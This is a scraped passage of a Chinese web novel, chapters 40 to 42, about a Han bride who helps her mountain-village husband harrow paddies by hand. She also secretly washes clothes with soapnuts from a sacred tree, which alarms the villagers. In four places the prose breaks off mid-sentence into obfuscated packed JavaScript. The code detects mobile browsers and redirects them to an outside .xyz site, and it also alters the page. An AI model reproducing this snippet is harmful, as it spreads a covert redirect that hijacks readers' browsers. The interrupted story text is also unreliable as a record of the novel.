刀莲生面向院坝而坐,堂屋的大门始终敞开了一扇门。 海棠一趟趟端着热水往圈棚里去,他都瞧见了。待到她没再往牲畜棚里送热水了后,刀莲生便提着水烟筒跨出堂屋,坐到门槛上去抽烟。 尽管已经在刀家这个圈里洗了有四五次澡了,但是海棠还是洗得胆战心惊。 圈里现在又多了头骡子。 那骡子简直是个好奇宝宝,她端着油灯进圈,它就躁动起来。而且它个子比牛高,站起身来,感觉随便一跳就能跳出圈来。 海棠就不得不把水桶往柴禾堆那边挪,油灯也尽量搁远些。 本来这头骡子的毛色就深,褐色偏黑。圈里光线昏暗,看起来就是一团黑乎乎的动来动去的身影。 刚开始海棠还没注意到,结果洗着澡,听见身后异样动静,她转头看去,冷不丁看见一个探过来的驴头,只离她一臂的距离,吓得她魂儿差点都飞了。 再一看它那张驴嘴,上下唇努力往上下撅了起来,露出了口中两排大牙和牙龈,嘴里还发出“嗬嗬”的声音。那模样,乍一看,真像是在调笑她呢! 海棠真是要郁闷死了,匆匆洗了下,就赶紧抹干身体穿上衣裙出了圈棚。 水桶提到灶屋,吹熄油灯,海棠擦着湿发回堂屋。 堂屋两扇门开了一扇,火塘里头的明火已经灭了。刀莲生面朝地坝坐在门槛上,抱着水烟筒,咕嘟咕嘟,有一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……没。” 刀莲生看着她抬起脸来,十分享受的半闭着眼眸,然后张嘴,从口中缓缓吐出一口烟圈来,更加震惊。 她是个会吸烟的…… 海棠也就是尝个鲜。 这种水烟吸起来咕嘟咕嘟的水响声听着是一种享受,但是烟叶太劣质了,呛喉咙,她尝过鲜后就把烟筒还给了刀莲生。 又坐了会儿,她朝右手边那排牲畜圈努了努嘴,“你家还有牛,怎么犁田平田不用它,反而去借别人家的骡子?放着自己的牛不用,别人家的骡子你又不能可劲儿地用,不仅要小心翼翼伺候好,每天又还要给人挑水还人情债,多费许多力气,倒把自己当牲口用,腰都累弯了,你是不是傻?” 刀莲生看看那圈棚,只道:“那牛不能役使。” “为什么?” 刀莲生不语。 海棠真是受够了这男人的态度了。 她刚才说那番话意思还不明显吗?是心疼他呀! 她从前被男人捧惯了的。遇到刀莲生,跟他说十句话,他可能就回她个两三句,远低于及格线。若不是寄人篱下,她真要狠狠骂他两句,但忍了。 男人不爱搭理她,她也不紧逼。心疼他,感觉他也接受不到她的示好,榆木疙瘩一个。 海棠沉默了几秒,百无聊赖,便起身跨进门槛,打算回屋睡觉去了。 她可没热脸贴人冷屁股的特殊癖好。 “哎!”刀莲生突然喊她。 海棠回过身来。 刀莲生说:“你明天跟我下田去。” 40. 第 40 章 刀莲生叫她跟着他一起下田去,海棠满口答应。 海棠明白这背后是婆婆的意思。昨晚上他们母子的争执她听见了个大概。 婆婆不想让她在家里闲待着,可是又怕分派给她家务活儿做不好,反而多的事情都整出来了。于是让她去田里折腾去,也是要叫她吃些苦头。 下田是个出力气的活儿。但海棠宁愿跟着刀莲生上坡下田,也不愿待家里跟着婆婆和小姑子绩麻。 再说,下田干活儿是迟早的事情。嫁到了山里人家,就要接受现实,早点学会了务农也是好事。有一天,或许她会成为刀莲生的贤内助,也好叫那个沉默寡言的男人少吃点苦头。 从前她回乡下姥姥家,完全跟是去旅游一趟似的,做过的农活儿屈指可数,且也仅限于掰包谷、晒谷子之类很简单的农活儿。地倒是也下过,但那也只是去掰包谷,去拔菜,去摘瓜。下田里去干的活儿还真没有过。 不过,没见过猪跑她吃过猪肉。五一劳动节,十月国庆节,经常去乡下,看见稻田里的人们犁田耙田,插秧割稻,跟刀莲生他们这里差不多的。所以,海棠并觉得下田是个多大的事儿。 先前她滚落进梯田过,知道水田深浅。那她从娘家带来的几身衣裙肯定不适合下田去干活儿,于是转天早上起来,海棠打开衣柜,翻了条刀莲生的大筒裤穿在自己身上。 骡子要休息两天,人却不能休息。 之后两天,刀莲生都打算靠人工来平整秧田。 早上天还没亮,刀家人都没起床,刀莲生便起来了,去了牲畜棚,先把木齿犁耙扛到水田里去。再回到家时,小妹莲叶已经贴好了玉米杂粮饼子,招呼他赶紧去灶屋吃饭。 因为这段时间刀莲生下田干活儿,这是个出大气力的活儿,所以刀家的早饭时间提前了。好让刀莲生吃了早饭,有力气在田里使劲儿。 海棠打着哈欠进了灶屋,拿水瓢舀了盆水洗脸。 刀莲生瞄她一眼,发现有点不对劲儿,再回头仔细瞄了她一眼。 这下看清楚她下身的确穿的是条裤子,只说那裤脚上的绣花他再熟悉不过。 分明是自己的裤子。 平时他穿这裤子,都会露出小腿。没想到穿在她身上,又大又长,猛一看,还以为她穿了条黑色的绣花半身裙。 一样的裤子,穿在不同人身上,差别竟这么大。像花开千样,各有不同。 他也是第一次觉得这条裤子还挺好看的。 不过,到底是裤子好看,还是因为穿这裤子的人穿上好看,以至于他觉得那条质地粗糙又黑不溜秋的裤子也变好看了,他不愿深究。 海棠上身是一件斜襟短衣,下身是条束腰大脚裤,之前不觉得,因为她常穿一身长裙。今儿这么一穿,上衣下裳分开,露出了腰,他才发现她的腰肢真细啊,可能他一只手掌就能紧控住…… 刀莲生默默转开视线,三两口把饼子吃完,出去了。 莲叶又招呼嫂子赶紧来吃饭。 她知道今天嫂嫂要跟哥哥下田。哥哥刚才已经出门了。嫂子动作太慢,得催着她,不然待会儿叫娘下来看见嫂子还在灶屋磨蹭,又要挨骂了。 刀家的那个饼子不大,海棠已经吃习惯了。掰碎了塞进嘴里,灌几口面汤,合着吞下肚子去,再没有噎着过。几口匆匆吃完了,追出去。 刀莲生没走呢,等着她的。 海棠看他把一个笨重的石槽装进背篓里,还丢了把挽好的粗麻绳进去,然后背篓背在背上,很奇怪,正要问这是要干嘛呢,刀莲生递给她一把钉耙,“你拿这个。” 因为钉耙是铁铸的,同样有些笨重,海棠于是像扛锄头一样扛在肩膀上。这模样,虽然没穿衣镜照一照,看一看,但是自己想象一下,也觉得挺新奇的,忍不住笑出了声,还扛着钉耙原地走来走去。 刀莲生看见,像当初她穿上新木屐显摆一样,有点无语。 想起木屐,他忍不住往她脚上看了眼。 海棠没穿她的绣花鞋,穿的是木屐,为了方便下田。 依着刀莲生的意思,出门都该打光脚的,但算了,她打不打光脚都一样,便什么也没说,领着海棠下田去了。 到了刀家的梯田,刀莲生搁下背篓,卷起裤腿,然后扛着木齿犁耙滑下田去。 水田里把耙放好,回身来伸出手,对海棠说:“你把背篓递给我。” 海棠依言,抱着背篓递到他手上。 刀莲生接过去,用粗麻绳把装了石槽的背篓吊在木齿犁耙的横木上。然后走到前面去,把木轭套在自己脖子上,两条手臂拉着连接着木轭两端的麻绳,开始了像骡子像水牛那样,拉着木齿犁耙往前走,耙起了水田。身后,留下一道近两米宽的浑水汤。 海棠见状,忙也学着他把筒裤卷到大腿根部,正要滑下水田去,刀莲生说:“你就留在田坎上,这田我一个人能弄完。” 海棠愣了下,然后在田坎上跟着他走,说:“两个人拉得快一些。” 刀莲生拽着绳子拖着犁耙走得慢,一脚深,一脚浅,说:“拉得快没用。” “那,两个人一起拉,省力气些。” 刀莲生有点火了,“我说了没用,你怎的不听?” 海棠站住,看他死倔死倔的样子就生气,出言讽道:“呃,难不成你叫我来下田,就干站在田坎上看你干活儿么?我是来监督你做事的?” 刀莲生干脆不理她了。 海棠站着看了一阵子,大约明白了。 水田在耙之前是犁过的,便有些地方是沟,有些淤泥翻起来成了垄。耙田的目的,就是要把沟填平了,垄铲了,田里的泥耙平成一块平面,好插秧子。 因为那木齿犁耙全是木头做的,有些轻,刀莲生背来的石槽重量不够,于是耙过的田仍是不够平整。于是他不得不回头又用带来的那把铁耙把不太平整的地方重新耙一道。 就因为耙轻了,所以,拉快了,反而更加耙不平田,更增加他回头重新耙一道的工夫。 既是如此,海棠就找了块平地,盘腿在田坎上坐下来,闲得无聊,她跟刀莲生聊天。省得他光闷头做事也无聊。 海棠先喊一声夫君。 刀莲生停下,看她一眼。 海棠一手手肘撑在腿上,手掌托着腮帮子,含笑说:“夫君,要是婆婆问起你,我今儿活儿干得如何,你打算怎么回答呀?” 刀莲生露出个无语的表情,扭头往前走。 海棠又说:“夫君,咱们要是不先对好口供,回头婆婆骂我,我可要跟你急。” 这次他连头也不回了,充耳不闻,只闷头干他的活儿。 时间长了,两只手拽着绳子有点酸,放下来休息,那麻绳便直接勒在了他的肩膀上。他光着膀子,肩头逐渐勒出了红痕。 太阳出来了,金色的晨辉打在刀莲生脸上,晶莹的汗珠不住往下滚落。 海棠出神地看着他。 他棱角分明的黝黑的脸膛像刀削斧刻。 宽十来米,长二十多米的水田,水从清亮慢慢变得一片浑浊。深深浅浅的水底下的沟壑,逐渐抹平,承载着那沉默的汉子满腔的希望。 他浑身的力气像使不完似的。他祭拜,上香,许愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341348|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一派虔诚。他像对待菩萨一样,虔诚地对待这块贫瘠的土地。 拉着犁耙走到田的尽头,要换一行转头拉过去了。刀莲生拖着犁耙调转方向,海棠早在这头尽头等着他,她递上汗巾,他接过去擦了脸和脖子。海棠又递来陶罐,罐子里是凉白开,他接过来,仰头,咕嘟咕嘟一口气灌下去一大半罐子水。 额头有人拿汗巾轻轻揩了两下。 刀莲生斜眼看去。 海棠说:“沾了些泥汤,我刚才已经给你擦干净了。” 刀莲生把陶罐递给她。 海棠接住,塞上木塞,抱在手里,看他拿起铁耙把耙过一遍的地方,那些不平整之处又重新弄一道。弄完了,才丢开铁耙走回来,把木轭套在后脖子上,两手拽着麻绳,拖着木齿犁耙耙起了另一片水域。 刀家的水田该是这寨子里耙得最晚的。 放眼上上下下那么多块水田,几乎都已经平整过了,搞得快的人家已经在插秧子了。而大部分的水田平整如镜面,就等待着秧苗下田。只有少数零星几块田也有人在耙。但人家都用的是畜生。 海棠站起来看了看,不是水牛就是骡子,也只需要一个人,只不过在前面缓慢地拉着木耙在走的是畜生,人却站在木耙上,一手甩着皮鞭……等等! “夫君——”海棠再次大喊刀莲生。 刀莲生站住,扭头静静地看向她。 海棠快速挽起裤腿下了田朝他走过来。 他皱起了浓眉,正要说她两句,她已经走到跟前,动作利落地伸手解开了背篓,把它抱走,搁到田坎上去。 “你干什么?” “你用它还不如用我。我重些,你能省些工夫。” 海棠就一直奇怪,那木齿犁耙上为什么要做一杆横木,她原以为是为了扛的时候方便,却原来它真正的用途是为了方便人掌控平衡。 海棠站上木齿犁耙,双手扶着横木,笑意盈盈,“你现在再拉这耙,保证把田平得整整齐齐的。” 刀莲生看了又看她,没说什么。耙重了,他不得不微微弓起脊背,双手紧拽着绳子,托着犁耙往前一步一顿,留下身后一道平整的田地。 这个白得晃眼的女人似乎不甘忍受冷清的场面,她的话真多。她说:“喂,夫君,我一直很好奇,你们娶个本地媳妇,娶个你们窝尼家的女人,彩礼一般要给多少?” 刀莲生抿紧唇,不答。 海棠打胡乱说,“我猜十头骡子吧?对不对?” 刀莲生一律不响,她兴致还高,干脆自说自话起来。 “可能不光是骡子,或许还有二十只羊,三十只鸡,十头猪,是这样么?” “我们汉家女子婚嫁,看门第,看身份,彩礼高低不同。好的彩礼,绫罗绸缎,钗环金银不论,反正有多大家产,给多大彩礼。差的彩礼,被子鞋子针线……” 各家各户的梯田都挨着,天放亮了之后,下田里来干活儿的寨民越来越多。 有的男人女人还唱起了山歌儿,梯田上下一派热闹欢快的气氛。 刀莲生木着脸拉着犁耙在前面走着,但是,却三不五时会回头往她身上瞟一眼。 “你在看什么?”海棠终于发现了。 刀莲生没说话,只把黑脸膛绷着。 等到又有男人从刀家水田上下的田坎经过,都把海棠看了又看后,海棠终于明白了刀莲生在看什么了。 等到刀莲生要转场平整另一片水域的时候,她重新站上犁耙后,默默把筒裤放下来,遮住了两条修长健美的雪白大腿。 之后刀莲生再没有回头看过她。 41. 第 41 章 到了晌午,莲叶来给哥嫂送饭。 海棠对吃饭最积极,立刻连声催促着刀莲生停下来停下来。 刀莲生也不知怎么回事,后来越干越起劲儿,竟舍不得离开水田。 他前面拉着木齿犁耙,身背后那个女人嘴不停歇,一直在讲话。她讲各种他没听过的奇闻轶事。有些他听得懂,有些他听不懂。那么新奇,像弟弟每次从城里读书休沐回来给一家人讲的山外头的那些事情,他们总是听得滋滋有味。他今天也是听到有滋有味儿的,不愿停下来。不知不觉,一个上午竟就快把一块近半亩的水田耙完了,效率跟役使骡子没差了。 还不觉得累。 从前干活儿,总是他一个人,山里的旱地,山腰下的梯田,一干就是一整天,闷着头,弯着腰,苦、闷、累,形单影只的一个人,陪他的是山里的雀鸟,坡上的牛羊,他从没像今天这么觉得操持农事竟也可以这么乐在其中。 偶尔,他听得不服气,不同意,会忍不住回嘴,“你瞎扯。”“你尽胡说。”“乱讲一通。你有那个心思,好好用在绩麻上,娘也不会骂你了。”诸如此类。 这时候海棠会驳斥他,“你怎么知道我在瞎扯?”“你怎么知道我全是胡说的?”“你除了用娘来压我,你还能做什么?” 噎得他张口结舌,能做的也就是回头,不悦地瞪她一眼。 倒把她乐得哈哈大笑。 先一阵,招满婶还来田里看过,看见他和妻子人工耙田,有说有笑的,轻松愉快,她那脸色十分精彩,几分吃惊,几分过意不去,几分尴尬。他心里竟有种出了口气的舒爽。 招满婶再来,自然是持着来瞅瞅他有没有食言、看他是不是在偷偷使唤她家骡子的心思。 照着今日这样的速度,剩下四块田完全可以在两三天之间内耙完了,后面也就用不到她家的骡子了。干脆,晚上回去就把骡子还她,还可以节约几块豆饼。 他还注意到,附近几块挨着的水田,田坎上面,田坎下面,不少男人女人都朝他们这里看。 等到海棠脑子一热,兴冲冲撩开嗓子也唱了两段。她脆亮的嗓子,她直白的歌词,那么热辣辣,那么动听,有韵律。山腰的那些水田里,那些粗犷的汉子们,彻底没人挣着粗嘎的大嗓们再唱些荒腔走板的山歌了。 一座座山来一道道沟, 我找不见那哥哥不想走。 远远的看见你不敢吼, 我扬了一把黄土风刮走。 …… 山挡不住云彩,树挡不住风, 连神仙也挡不住人想人。 长不过五月,短不过那冬, 说是难活呀不过人想人。 …… 刀莲生抬头看看天。 天很蓝,云彩很悠闲,白花花的阳光很刺目,他感到浑身暖洋洋的,像围在亮旺旺的火塘边坐着。 “快停下来吃饭啦,你听见没?个倔骡子!”海棠在背后吼他,“喊了几遍吃饭了快停下,你倒好,反而拖得更快了!” 刀莲生微微勾起嘴角,这才松了手,任那道已经被汗水浸润的木轭垂在他蹋弯了的腰背上。 他回头。 木齿犁耙停了下来后,海棠握着横木的手松开,立刻弯腰去把裤腿挽到大腿上,然后下了犁耙滑到水田里,甩开两条胳膊朝田坎上的莲叶大步蹚过去,带起一片泥水飞溅。 谁说汉家的女子含蓄,温婉?她一点也不输山里粗糙的窝尼家女人。 他把木轭从后脖子上取下来挂在犁耙上,也蹚过去。 哥嫂上了田坎,洗干净手后,莲叶递给他们汗巾先把手擦拭干爽,这才把竹篮子里盛着饭的坛子,那密封的盖子揭开,把饭菜舀到土碗里,和着筷子一起递给哥嫂。 篮子提了这么远,还等了好久,那饭菜舀出来时还是热气腾腾的,可见保温工夫做得好。真是个可心的妹子。 今天的午饭是大白米熬的红苕稀饭,还煮得有点稠,十分惊喜。 下饭菜仍是烤出来的糊辣椒碎。 一见辣椒,海棠就皱眉。 她早就遭不住了,已经上火,近来额头都冒痘了,上厕所也有点困难。 只能尽量少吃辣椒。 浓稠的米香味儿简直让她感动得要哭,端着土陶碗就呼噜噜先刨下肚去三分之一,方才有闲心跟莲叶说说话。 海棠问红苕哪里来的,“娘不是说还要一个多月才能挖吗?” 莲叶说是家里窖藏的,去年收的,还剩了一挑的样子。 因为家里的玉米面和豆子要留给骡子吃了,所以她今天去窖里起了一篮子红苕出来。 海棠暗自高兴,之后至少几天不用再吃那个刮喉咙的糙粮饼子了。 也幸好今天莲叶做饭,没狠心往稀饭里掺糠壳和麸皮。 刀莲生吃饭的时候,一向沉默寡言不说话。 莲叶看哥嫂吃了一阵,肚子已填了点东西,她这才又把篮子提起来,掀开里面一张笋壳叶子,对海棠有些神秘地说:“嫂子,你帮看看我是哪里做得不对,我觉得我做出来的这烤笋吃不得呢。” 海棠闻言,脸从土碗里抬起来,看莲叶从篮子里拿了一节烤竹笋出来。 “嫂子,你尝尝是咋回事,是我的做法没对头吗?我掰了个半人高的笋子回来,砍成几节烤的。我尝了那几节,都吃不得。我给你带了一节来,你尝尝,看看是怎么回事。” 莲叶对于开发新的口粮十分热衷。 她把竹笋拍了拍,拍去多余的黑灰,开始剥烤糊的笋壳。 海棠一看那带壳笋子的样子,忍不住笑了,“莲叶,你不用剥开了。这笋子这么长,都已经长成竹子了,早就老了,不但不好吃,还咬都咬不动。” “对对对,把我牙都咬酸了。”莲叶叫道,“所以是我掰的不对头吗?” “对,这笋子老了,要不得了。竹笋长得很快的。你要掰,一定要掰那种钻出土层只在约莫五十公分以内的,保证里头的笋子又白又嫩,那才能吃。” 莲叶叹气,“可咱们家竹林里的竹笋都掰没了。我今天找到个这么大的,我还高兴了好一场。” “谁让你都不先问我一声,就听娘的话把那大一背篓的笋子倒了呢?好可惜。” 莲叶苦着脸冲海棠道:“娘吩咐的,我敢不听吗?除非是哥哥,不然家里谁敢不听娘的吩咐?”她瞄了下刀莲生。 海棠也去瞄了眼刀莲生。 刀莲生好似没听她俩说话,自顾自端着碗蹲那儿吃得认真,一大碗稀饭眼看就要吃完了。 海棠用胳膊肘撞撞莲叶身体,安抚道:“没事,等下一场雨来,会再冒出来好多。” “啊,我可以去堂伯娘家竹林里掰!” 这时候刀莲生抬头,语气严肃:“你先跟堂伯娘打声招呼了再说。” “哦。” 倘若真是能吃的东西,那就是粮食了。对山里人而言,这阵子青黄不接,那竹笋便是顶顶珍贵的了,那就不能随随便便去人家地里采摘了。除非是无主之地。 场面沉默了几息,莲叶说起了另一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346771|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情,小脸儿上又浮起一团神秘之色,还有些紧张。 “哥、嫂子,我给你们说个事儿,寨神林出事了!娘说这段日子都不能去那里挑水吃了,也不要去洗衣服淘东西了。现在大家都得要去山下河里挑水洗衣服,要走好远的路了。我们仨儿打明儿起也都要去背水,绩麻织布的活儿可能要耽搁了。” 海棠和刀莲生不约而同顿住了捉着筷子的手,对视一眼,然后同时看向莲叶。 “出什么事了?”刀莲生眉头深蹙。 海棠紧张地抓着饭碗盯着莲叶,心都要提到嗓子眼儿了。 那棵皂角树不会真的是会显灵的神仙树吧?这次显的啥灵? 只听莲叶道:“听说是那棵神树无故落了满潭的果子,青的褐的都有,不知为何,像是树要死了似的,大家都很害怕。往年它偶尔也要落果子的,但是绝没有这次这么严重,果子飘了一潭子,叶子也落了不少。寨子里的人很多都跑去看了,回来后各个脸色惨白,大家都很担心是不是天要降下大灾厄了,就像五十多年前那场大旱,稻禾都晒成柴草了,山里没吃的,寨子里饿死了许多人。” 海棠/刀莲生:“……” 海棠和刀莲生又对视一眼,然后双双勾着头,继续吃饭夹菜。 听莲叶继续说道:“堂伯已经被叫去寨佬家议事了,看这件事情要怎么处理。不过堂伯娘说,按照从前的做法,肯定是要做一场宏大的法事来让寨神林的神树息怒的。所以这次,极大可能会仿照旧制设坛祭祀树神和诸位山神。 做法事,必定要费财费物了,还要耽搁插秧子的时间了。堂伯说尽量去给头人和寨佬们提议把祭祀的时间缩短些,别搞那么长。不然,秧子插下去都给晒死了。神树不必降下惩罚,咱们自己都要把自己饿死了。” 海棠插一句,“对对,这个堂伯有见识。还是忙农事是最要紧的。” 刀莲生盯她一眼。 海棠闭嘴。 莲叶又道:“娘吃过晌午饭就背着十斤谷子去了磨坊舂米。她说如果头人和寨佬决定了要祭祀,肯定家家户户又要出粮出人。家里没米了,所以娘赶着去舂些。等到明天,那磨坊的人肯定多,排队都要排好久。反正总之,出了这个事儿,大家的农事都打乱了。” 海棠和刀莲生吃完了饭,莲叶收拾了空碗筷,提着篮子回去了,海棠和刀莲生沉默了很多。下午耙田,两个人都默不作声地做事,再没闲心斗点小嘴角。 这块田耙完后,太阳还没落坡。另几块没耙的田就在附近,但是刀莲生决定提前收工。 他扛着木齿犁耙,海棠坚持要自己背着那个装着石槽的背篓、扛着铁耙一起,他没勉强,任她操劳。 回到家,刀莲生把农具清洗干净后晾在地坝边。然后就进灶屋去挑起一担空水桶便往后山寨神林走。 走到自家竹林坡时他扭头,然后不悦道:“你来干什么?回去。” 海棠果然跟在他后面不远。 海棠侧了侧身子,亮出后背背着的背篓,“我去洗衣服啊。昨晚我洗澡换下的衣服还没洗呢。” “你明天跟着娘他们去河边汲水的时候,去山下河边洗。” “不要。这些脏衣服放得都有些味儿了,今天得洗出来。” 他的目的,她心知肚明。 她的目的,他也心知肚明。 刀莲生晓得她也是个性子有点犟的,只好由她,只叮嘱一句:“这会儿上面应该还有人。到时候你要听我的,不要乱来,也不要乱讲话。” “嗯。” 42. 第 42 章 两人到了寨神林,虽然已经是傍晚,但是这是大事,经过一天的口口相传,寨子里的人几乎都知道了,个个都跑到这里来看。人群走了一波,又来一波。 是以,到这时候日暮将近了,这片林子里,上下下还站着不少人在围观。 胆小的站得远一点,胆大的,就围着那棵皂角树看来看去,还有的围着水潭打转,指指点点,探头弯腰,似乎要找出某种令神树落果的神秘的力量。 人群都背对着二人。海棠和刀莲生沿着石头台阶爬上去,爬到顶上了,才有人看见他们,三五两个跟刀莲生打招呼,然后无一例外地把他身后的海棠瞄了又瞄,原本眼里的惊怕被新奇替代。 她成了不少人新的围观的对象。 海棠还听见了有人小声问旁人:“这就是莲生娶的那个汉人媳妇吗?” “肯定是。你看她那模样,就不是我们山里女人的样子。” “长得挺俊的。” “嫁过人的。不然也轮不到莲生崽!” 几个人议论的声音可不小,海棠听见了,她相信走在自己前面的刀莲生肯定也听见了。 这样的说法她也不是第一次听说了,甚至是婆婆白氏、堂伯娘曹氏,还有自己那便宜爹妈都有这种想法。 其实海棠不止一次奇怪,要说穷,刀家的确是穷。可是,她从寨子口进入的刀家,穿寨而过,看见的那些山寨里的女人、老人和小孩儿,穿的不咋样,住得也不咋样啊。虽没见过他们吃的什么东西,是不是像刀家一样一日两顿,顿顿粗糙的杂粮饼子下辣椒,但是,住的穿的都不好,吃得也未必好。 都穷,谁也不嫌弃谁。 再则,这几日也见过寨子里的汉子了,依她挑剔的目光,她敢说,刀莲生的样貌若论第二,绝没人敢论第一。 还有,相处这些日子来,尽管男人面上冷了些,但是,她真心觉得刀莲生这个男人不错啊,对她很细致,总会在她深夜偷摸出去洗澡的时候默默坐在门槛上保护她,给她在堂屋里留一簇火。 这样一个长得俊朗,勤劳,又对女人细致体贴的男人,怎么就娶不到媳妇儿呢?怎么就只有她这种嫁过人的女人,才能轮到刀莲生呢?她想不通。 有个老妪热情地拉着刀莲生讲话,“莲生,你来挑水啊?哎呀,这水不能挑了,现在这水吃用不得了。” 刀莲生喊对方牛婶儿,装作奇怪的问出了什么事。 “你自己看看。” 牛婶儿拉着他近前,站在水潭边。 海棠跟着挤过去。 那牛婶儿斜眼把她看了又看,海棠笑着打了声招呼,也跟着刀莲生喊了声牛婶儿。 牛婶儿从鼻腔里哼哼两声,扭过头去。 海棠觉得这老妪好像对她有点敌意,不知何故。 她没闲心深究,忙抻长了脖子越过前面一排人头看那水潭。 结果一看,不过就是水面上漂浮着许多青的褐的皂角而已,正是她昨晚打落的。 并没有莲叶说的铺满了整个水面那么夸张,只是比昨晚上看着要多一些而已。 不过昨天晚上光线昏暗,今天白天再看,视觉上有一些误差罢了。 再看看那棵皂角树,除了低矮的地方挂的果子稀疏了很多,高处仍旧挂得密密麻麻的。树干上的木刺横七竖八,张牙舞爪,仍是一如既往叫人不敢亲近。 总之,皂角树看着是毫无异常的。 海棠放下心来。 暗笑这些山里人真是大惊小怪的。 她立在塘边看了一会儿,又听了一阵。 周围人都是一副忧心忡忡的模样,低声交谈着。言语里,都在猜这树要死了。 一棵五百多年的老树突然落下来这么多果子,不知就里的人,的确会先往树要死了这个方向猜。 然后一棵活得好好的树突然要死了,必然是天气、地质、环境等等要发生异变,或者正在发生异变。所以,很多人又都往这些方面猜测。 “到目前为止,气象状况跟往年差不多的,没有五月飞雪、四月冰雹这种异常天气。咱们周边也好好的,没有发生地动,也没有山火烧起来。” “那为啥神树会无缘无故突然落这么果子啊?肯定是不详的预兆!” 猜来猜去猜不到就里。因为未知,因为无知,于是只剩下了害怕。 海棠从人群里退出来,背着背篓往下面走。 这一片大大小小的水潭几十个,因为害怕,平时繁忙热闹的各个水谭边,一个洗衣服淘东西的女人都没有。 海棠远远地避开人群,在最下面找了个小水潭偷摸洗她的衣服。 刀莲生也站着竖耳听了会儿,看明白了到底是出了什么事情后,愁得不行。 海棠昨晚弄的那一出,虽然暂时没有惹出祸事。可是现在搞得全寨子的人都很恐慌,他不知道该怎么办。他觉得自己是全寨子的罪人。 又有人跟他打招呼,“莲生,不要在这里挑水吃了,小心吃坏了人畜。” “哎,好的,谢谢满仓大哥。我就这回去了。” 刀莲生挑着空桶打算回家了,但看了一圈儿,没看到海棠,以为她也内疚,先躲回家去了,于是挑着空桶往山下走。走到一半,却见海棠蹲在一个小水潭边,正在洗衣服。 刀莲生便走过去,把空水桶撂在一旁,等着海棠洗完衣服再一起回家。 海棠说这水潭是流水,水也清亮,让他顺便打两桶水回去,免得这一趟白走。 既然知道了所谓寨神林生病不过是海棠弄出的一出乌龙,刀莲生自然不怕了。听了海棠话,他就提着桶打了两桶水搁在一旁,然后就在一块凸出的石头上坐下来,等着海棠把衣服洗完。 偶尔他会帮她拧一下衣服的水,但大部分时间只是看着女人洗。 海棠先已经把衣服打湿了泡了会儿,这会儿才开始一件件揉搓。她从那堆衣服里抓了一件过来,铺在石头上用力揉搓,搓洗了十几下之后,越来越多的白色泡沫。 刀莲生在一旁看着她洗,看着看着,疑惑起来,问她:“你这衣服怎么了?怎么那么多白沫子?是沾上什么了吗?” 海棠冲他笑笑,并不回答。 等到海棠把那条裙子搓洗得差不多了,抓起来抖了几下,几块揉碎了的皂角跌落在石头上,她捡起来飞快地扔到了远处树丛里。 刀莲生皱眉。 他看得不是很分明,但是已经有点怀疑了。 因为昨天她就说过那些果子是可以洗衣服洗澡洗头发的,虽然揉碎了,但是褐色的颜色,跟那神树上陈年果子很像。 海棠把裙子先泡在水潭里让它自己清洗,又从旁边抓起另一条泡着皂角的衣裳铺在石头上搓洗,如出一辙,很快就搓出泡沫来。 而刀莲生这次看得分明,她衣服里夹了几个皂角,衣服和着皂角一起揉搓,才搓出的泡沫。 他怒火中烧,走过去,要去抢衣服。 海棠皱眉,“你干嘛?” 刀莲生低声,“收拾回去了。” 海棠不干,“我都快要洗完了。等我把这件衣服搓洗干净,再清洗两遍就走。” 刀莲生压着火,低声道:“你是想要所有人都看见吗?” 海棠也低声道:“你们这里的人把那树当神,神是不可触碰的,自然这皂角也是没用过的。你们既没见识,那只要你不吱声儿谁知道?再说我都搓碎了,揉成渣了,谁还认得出它原来长啥样子?” 她把他的手打开,自顾自滑到水潭里,把衣服都散开,清洗起来。 那些揉碎的皂角像泥尘飘散在水潭四处,淹没在泡沫里,一点不显眼。 天色逐渐黑了,寨神林里愈加昏暗,上面的人陆续走下来往家去了。 经过海棠和刀莲生,都会多看一眼。然后,就也发现了海棠洗的那衣服,那水潭里,漂浮着不少泡沫,有些吃惊。 “你们快看,好多沫子!” “哎呀,果然水出问题了,不能再吃用了!” “天呀,这可咋办?山腰里那些田还要靠这些水潭里的水灌溉啊。” “你们看看,这么沫子,一定是树神病入膏肓了!” 一个个经过的人,都苍白着脸而去。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361360|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛婶走的时候劝道:“哎呀,莲生,你们怎么还用这水洗衣裳啊?都说这沫子是树神病重时候吐的口涎,你们就不怕这衣服穿在身上烂身吗?快点把衣服捞起来回家去了!” 刀莲生有口难言,唯唯诺诺地应了声,假装去帮海棠拧干衣服。 